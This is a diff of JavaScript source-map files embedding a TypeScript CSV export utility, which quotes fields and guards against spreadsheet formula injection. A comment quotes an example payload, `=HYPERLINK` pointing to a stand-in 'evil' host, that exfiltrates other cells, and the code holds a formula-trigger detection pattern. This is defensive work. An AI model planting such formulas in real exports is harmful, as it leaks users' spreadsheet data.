fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IA4DN,EAAkB,eAQlB,EAAe,uDAyBrB,SAAS,EAAkB,EAAuB,CAE9C,OADI,IAAU,KAAO,EAAa,KAAK,CAAK,EAAU,EAC/C,EAAgB,KAAK,CAAK,EAAI,IAAI,IAAU,CACvD,CASA,IAAM,EAAkB,SAoBxB,SAAS,EAAY,EAAe,EAAmB,EAAkC,CAQrF,OANI,EAAM,SAAS,CAAS,GACvB,GAAmB,EAAgB,KAAK,CAAK,GAAK,CAAC,EAAa,KAAK,CAAK,GAC3E,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAiBA,SAAS,EAAS,EAAgB,EAA6B,CAM3D,OALI,GAAU,KAAoC,GAC9C,OAAO,GAAU,UAAY,OAAO,GAAU,UAAY,OAAO,GAAU,UACpE,OAAO,CAAK,EAEnB,aAAiB,KAAa,EAAM,YAAY,EAC7C,EAAa,EAAkB,OAAO,CAAK,CAAC,EAAI,OAAO,CAAK,CACvE,CAwBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAAS,EAE7D,EAAQ,CACV,EACK,IAAK,GACF,EACI,EAAS,EAAO,OAAQ,CAAkB,EAC1C,EACA,CACJ,CACJ,CAAC,CACA,KAAK,CAAS,CACvB,EAEA,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,KACb,CAAkB,EAAG,EAAW,CAAkB,CACtF,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
1
+ {"version":3,"file":"csv.cjs","names":["shareOrDownloadBlob","require_share_or_download","BOM","FORMULA_TRIGGER","PLAIN_NUMBER","neutralizeFormula","value","LIST_SEPARATORS","escapeField","delimiter","guardSeparators","cellText","neutralize","toCsv","options","lines","columns","column","neutralizeFormulas","row","rows","cells","bom","downloadCsv","blob","fileName"],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n * (#481): a spreadsheet whose list separator is not the file's would otherwise\n * split the bare field there and could start a cell with `=`. A quoted field is\n * not split, so the quotes close that path without touching the text —\n * `x;=1+2` is written `\"x;=1+2\"`.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n * and line breaks decide the quoting.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n * on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n const mustQuote =\n value.includes(delimiter) ||\n (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) =>\n escapeField(\n cellText(column.header, neutralizeFormulas),\n delimiter,\n neutralizeFormulas,\n ),\n )\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"A,kDAqBA,IAAME,EAAM,IA4DNC,EAAkB,eAQlBC,EAAe,uDAyBrB,SAASC,EAAkB,EAAuB,CAE9C,OADIC,IAAU,KAAOF,EAAa,KAAKE,CAAK,EAAUA,EAC/CH,EAAgB,KAAKG,CAAK,EAAI,IAAIA,IAAUA,CACvD,CASA,IAAMC,EAAkB,SAoBxB,SAASC,EAAY,EAAe,EAAmB,EAAkC,CAQrF,OANIF,EAAM,SAASG,CAAS,GACvBC,GAAmBH,EAAgB,KAAKD,CAAK,GAAK,CAACF,EAAa,KAAKE,CAAK,GAC3EA,EAAM,SAAS,GAAG,GAClBA,EAAM,SAAS;CAAI,GACnBA,EAAM,SAAS,IAAI,EAEhB,IAAIA,EAAM,WAAW,IAAK,IAAI,EAAE,GADhBA,CAE3B,CAiBA,SAASK,EAAS,EAAgB,EAA6B,CAM3D,OALIL,GAAU,KAAoC,GAC9C,OAAOA,GAAU,UAAY,OAAOA,GAAU,UAAY,OAAOA,GAAU,UACpE,OAAOA,CAAK,EAEnBA,aAAiB,KAAaA,EAAM,YAAY,EAC7CM,EAAaP,EAAkB,OAAOC,CAAK,CAAC,EAAI,OAAOA,CAAK,CACvE,CAwBA,SAAgBO,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAASC,EAE7DC,EAAQ,CACVC,EACK,IAAK,GACFR,EACIG,EAASM,EAAO,OAAQC,CAAkB,EAC1CT,EACAS,CACJ,CACJ,CAAC,CACA,KAAKT,CAAS,CACvB,EAEA,IAAK,IAAMU,KAAOC,EAAM,CACpB,IAAMC,EAAQL,EAAQ,IAAK,GAIhBR,EAAYG,EAHPM,EAAO,IACbA,EAAO,IAAIE,CAAG,EACbA,EAAgCF,EAAO,KACbC,CAAkB,EAAGT,EAAWS,CAAkB,CACtF,EACDH,EAAM,KAAKM,EAAM,KAAKZ,CAAS,CAAC,CACpC,CAEA,MAAO,GAAGa,EAAMpB,EAAM,KAAKa,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsBQ,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAMC,EAAO,IAAI,KAAK,CAACX,EAAMO,EAAMJ,EAASF,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAMd,EAAAA,oBAAoBwB,EAAMC,CAAQ,CAC5C,C"}
@@ -1 +1 @@
1
- {"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n * (#481): a spreadsheet whose list separator is not the file's would otherwise\n * split the bare field there and could start a cell with `=`. A quoted field is\n * not split, so the quotes close that path without touching the text —\n * `x;=1+2` is written `\"x;=1+2\"`.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n * and line breaks decide the quoting.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n * on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n const mustQuote =\n value.includes(delimiter) ||\n (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) =>\n escapeField(\n cellText(column.header, neutralizeFormulas),\n delimiter,\n neutralizeFormulas,\n ),\n )\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM,KA4DN,IAAkB,gBAQlB,IAAe;AAyBrB,SAAS,EAAkB,GAAuB;CAE9C,OADI,MAAU,OAAO,EAAa,KAAK,CAAK,IAAU,IAC/C,EAAgB,KAAK,CAAK,IAAI,IAAI,MAAU;AACvD;AASA,IAAM,IAAkB;AAoBxB,SAAS,EAAY,GAAe,GAAmB,GAAkC;CAQrF,OANI,EAAM,SAAS,CAAS,KACvB,KAAmB,EAAgB,KAAK,CAAK,KAAK,CAAC,EAAa,KAAK,CAAK,KAC3E,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAiBA,SAAS,EAAS,GAAgB,GAA6B;CAM3D,OALI,KAAU,OAAoC,KAC9C,OAAO,KAAU,YAAY,OAAO,KAAU,YAAY,OAAO,KAAU,YACpE,OAAO,CAAK,IAEnB,aAAiB,OAAa,EAAM,YAAY,IAC7C,IAAa,EAAkB,OAAO,CAAK,CAAC,IAAI,OAAO,CAAK;AACvE;AAwBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAAS,GAE7D,IAAQ,CACV,EACK,KAAK,MACF,EACI,EAAS,EAAO,QAAQ,CAAkB,GAC1C,GACA,CACJ,CACJ,CAAC,CACA,KAAK,CAAS,CACvB;CAEA,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,MACb,CAAkB,GAAG,GAAW,CAAkB,CACtF;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
1
+ {"version":3,"file":"csv.js","names":["BOM","FORMULA_TRIGGER","PLAIN_NUMBER","neutralizeFormula","value","LIST_SEPARATORS","escapeField","delimiter","guardSeparators","cellText","neutralize","toCsv","options","lines","columns","column","neutralizeFormulas","row","rows","cells","bom","downloadCsv","blob","shareOrDownloadBlob","fileName"],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n * (#481): a spreadsheet whose list separator is not the file's would otherwise\n * split the bare field there and could start a cell with `=`. A quoted field is\n * not split, so the quotes close that path without touching the text —\n * `x;=1+2` is written `\"x;=1+2\"`.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n * and line breaks decide the quoting.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * 